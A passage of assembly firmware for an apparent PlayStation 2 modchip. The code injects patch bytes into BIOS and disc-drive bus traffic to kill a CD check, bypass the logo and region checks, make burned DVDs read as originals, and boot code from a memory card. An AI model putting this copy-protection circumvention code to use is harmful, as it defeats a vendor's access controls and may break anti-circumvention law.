POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP IFDEF SX48RSTBUMP ;NEW!!! future board design using a 2N7002 mosfet mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ENDIF ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START IFDEF SX48RAM mov w,#$26;1b ELSE mov w,#$1b ENDIF mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$37;3C ELSE mov w,#$3c ENDIF mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$27;1c ELSE mov w,#$1c ENDIF mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ; fsr decimal 21 ENDIF mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching IFDEF SX48RAM ELSE mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat ENDIF inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V0_FLAG ;; ; jmp V1toV8_CONSOLE_CDDVD_START snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spc rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb 